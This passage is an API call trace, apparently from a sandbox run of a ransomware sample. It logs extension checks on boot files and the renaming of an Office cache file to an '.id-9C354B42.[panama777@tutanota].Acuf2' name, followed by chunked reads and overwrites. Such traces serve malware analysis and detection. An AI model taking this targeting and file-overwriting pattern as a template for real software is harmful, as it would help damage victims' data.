	[0037.131] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.131] lstrlenW (lpString=".pdf") returned 4
	[0037.131] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.131] lstrlenW (lpString=".xls") returned 4
	[0037.131] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.131] lstrlenW (lpString=".xlsx") returned 5
	[0037.131] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.131] lstrlenW (lpString=".ppt") returned 4
	[0037.131] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.131] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.131] lstrlenW (lpString=".zip") returned 4
	[0037.131] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.131] lstrlenW (lpString=".rar") returned 4
	[0037.131] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.131] lstrlenW (lpString=".bz2") returned 4
	[0037.131] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.131] lstrlenW (lpString=".7z") returned 3
	[0037.131] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.131] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.131] lstrlenW (lpString=".dbf") returned 4
	[0037.131] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.131] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.131] lstrlenW (lpString=".1cd") returned 4
	[0037.131] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.131] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29
	[0037.131] lstrlenW (lpString=".jpg") returned 4
	[0037.131] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.131] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.132] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.132] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.132] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=90176) returned 1
	[0037.132] CloseHandle (hObject=0x16c) returned 1
	[0037.132] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20
	[0037.132] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.132] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.132] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.132] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.132] lstrlenW (lpString=".doc") returned 4
	[0037.132] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.132] lstrlenW (lpString=".docx") returned 5
	[0037.132] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.132] lstrlenW (lpString=".pdf") returned 4
	[0037.132] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.132] lstrlenW (lpString=".xls") returned 4
	[0037.132] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.132] lstrlenW (lpString=".xlsx") returned 5
	[0037.132] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.132] lstrlenW (lpString=".ppt") returned 4
	[0037.132] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.132] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.132] lstrlenW (lpString=".zip") returned 4
	[0037.132] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.133] lstrlenW (lpString=".rar") returned 4
	[0037.133] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.133] lstrlenW (lpString=".bz2") returned 4
	[0037.133] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.133] lstrlenW (lpString=".7z") returned 3
	[0037.133] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.133] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.133] lstrlenW (lpString=".dbf") returned 4
	[0037.133] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.133] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.133] lstrlenW (lpString=".1cd") returned 4
	[0037.133] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.133] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.133] lstrlenW (lpString=".jpg") returned 4
	[0037.133] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.133] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.133] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.133] lstrlenW (lpString=".doc") returned 4
	[0037.133] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.133] lstrlenW (lpString=".docx") returned 5
	[0037.133] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.133] lstrlenW (lpString=".pdf") returned 4
	[0037.133] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.133] lstrlenW (lpString=".xls") returned 4
	[0037.133] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.133] lstrlenW (lpString=".xlsx") returned 5
	[0037.133] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.133] lstrlenW (lpString=".ppt") returned 4
	[0037.133] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.133] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.133] lstrlenW (lpString=".zip") returned 4
	[0037.133] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.133] lstrlenW (lpString=".rar") returned 4
	[0037.134] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.134] lstrlenW (lpString=".bz2") returned 4
	[0037.134] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.134] lstrlenW (lpString=".7z") returned 3
	[0037.134] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.134] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.134] lstrlenW (lpString=".dbf") returned 4
	[0037.134] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.134] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.134] lstrlenW (lpString=".1cd") returned 4
	[0037.134] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.134] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29
	[0037.134] lstrlenW (lpString=".jpg") returned 4
	[0037.134] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.134] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.134] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.134] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.134] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=89664) returned 1
	[0037.134] CloseHandle (hObject=0x16c) returned 1
	[0037.134] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20
	[0037.135] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.135] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.135] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.135] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.135] lstrlenW (lpString=".doc") returned 4
	[0037.135] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.135] lstrlenW (lpString=".docx") returned 5
	[0037.135] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.135] lstrlenW (lpString=".pdf") returned 4
	[0037.135] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.135] lstrlenW (lpString=".xls") returned 4
	[0037.135] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.135] lstrlenW (lpString=".xlsx") returned 5
	[0037.135] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.135] lstrlenW (lpString=".ppt") returned 4
	[0037.135] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.135] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.135] lstrlenW (lpString=".zip") returned 4
	[0037.135] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.135] lstrlenW (lpString=".rar") returned 4
	[0037.135] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.135] lstrlenW (lpString=".bz2") returned 4
	[0037.135] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.135] lstrlenW (lpString=".7z") returned 3
	[0037.135] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.135] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.135] lstrlenW (lpString=".dbf") returned 4
	[0037.135] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.135] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.135] lstrlenW (lpString=".1cd") returned 4
	[0037.136] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.136] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.136] lstrlenW (lpString=".jpg") returned 4
	[0037.136] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.136] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.136] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.136] lstrlenW (lpString=".doc") returned 4
	[0037.136] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.136] lstrlenW (lpString=".docx") returned 5
	[0037.136] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.136] lstrlenW (lpString=".pdf") returned 4
	[0037.136] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.136] lstrlenW (lpString=".xls") returned 4
	[0037.136] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.136] lstrlenW (lpString=".xlsx") returned 5
	[0037.136] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.136] lstrlenW (lpString=".ppt") returned 4
	[0037.136] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.136] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.136] lstrlenW (lpString=".zip") returned 4
	[0037.136] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.136] lstrlenW (lpString=".rar") returned 4
	[0037.136] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.136] lstrlenW (lpString=".bz2") returned 4
	[0037.136] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.136] lstrlenW (lpString=".7z") returned 3
	[0037.136] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.136] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.136] lstrlenW (lpString=".dbf") returned 4
	[0037.136] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0037.136] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.136] lstrlenW (lpString=".1cd") returned 4
	[0037.137] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0037.137] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29
	[0037.137] lstrlenW (lpString=".jpg") returned 4
	[0037.137] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0037.137] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0037.137] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0037.137] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.137] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=90192) returned 1
	[0037.137] CloseHandle (hObject=0x16c) returned 1
	[0037.137] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20
	[0037.137] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.137] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.137] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0037.137] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0037.137] lstrlenW (lpString=".doc") returned 4
	[0037.137] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0037.137] lstrlenW (lpString=".docx") returned 5
	[0037.137] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0037.138] lstrlenW (lpString=".pdf") returned 4
	[0037.138] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0037.138] lstrlenW (lpString=".xls") returned 4
	[0037.138] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0037.138] lstrlenW (lpString=".xlsx") returned 5
	[0037.138] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0037.138] lstrlenW (lpString=".ppt") returned 4
	[0037.138] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0037.138] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29
	[0037.138] lstrlenW (lpString=".zip") returned 4
	[0037.138] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0037.138] lstrlenW (lpString=".rar") returned 4
	[0037.138] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0037.138] lstrlenW (lpString=".bz2") returned 4
	[0037.138] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0037.138] lstrlenW (lpString=".7z") returned 3
	[0037.138] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0037.138] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=87616) returned 1
	[0037.138] CloseHandle (hObject=0x16c) returned 1
	[0037.138] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20
	[0037.138] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.138] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.139] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=87104) returned 1
	[0037.139] CloseHandle (hObject=0x16c) returned 1
	[0037.139] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20
	[0037.139] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.139] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.139] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=70720) returned 1
	[0037.139] CloseHandle (hObject=0x16c) returned 1
	[0037.139] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20
	[0037.139] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.139] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0038.708] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0038.815] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0038.815] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0038.816] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0038.816] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0038.884] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0038.884] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0038.927] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0038.927] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0038.927] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0038.946] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.947] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0039.463] SetEndOfFile (hFile=0x158) returned 1
	[0039.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ed37b8
	[0039.465] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0039.465] WriteFile (in: hFile=0x158, lpBuffer=0x3ed37b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed37b8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0039.465] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0039.466] WriteFile (in: hFile=0x158, lpBuffer=0x3ed37b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed37b8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0039.466] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0039.466] WriteFile (in: hFile=0x158, lpBuffer=0x3ed37b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed37b8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0039.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ed37b8 | out: hHeap=0x4f0000) returned 1
	[0039.468] CloseHandle (hObject=0x158) returned 1
	[0041.682] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0041.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.683] lstrlenW (lpString=".doc") returned 4
	[0041.683] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString=".docx") returned 5
	[0041.683] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0041.683] lstrlenW (lpString=".pdf") returned 4
	[0041.683] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString=".xls") returned 4
	[0041.683] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString=".xlsx") returned 5
	[0041.683] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0041.683] lstrlenW (lpString=".ppt") returned 4
	[0041.683] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.683] lstrlenW (lpString=".zip") returned 4
	[0041.683] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString=".rar") returned 4
	[0041.683] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString=".bz2") returned 4
	[0041.683] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0041.683] lstrlenW (lpString=".7z") returned 3
	[0041.683] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0041.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.683] lstrlenW (lpString=".dbf") returned 4
	[0041.683] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0041.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.683] lstrlenW (lpString=".1cd") returned 4
	[0041.683] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0041.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.684] lstrlenW (lpString=".jpg") returned 4
	[0041.684] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.684] lstrlenW (lpString=".doc") returned 4
	[0041.684] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString=".docx") returned 5
	[0041.684] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0041.684] lstrlenW (lpString=".pdf") returned 4
	[0041.684] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString=".xls") returned 4
	[0041.684] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString=".xlsx") returned 5
	[0041.684] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0041.684] lstrlenW (lpString=".ppt") returned 4
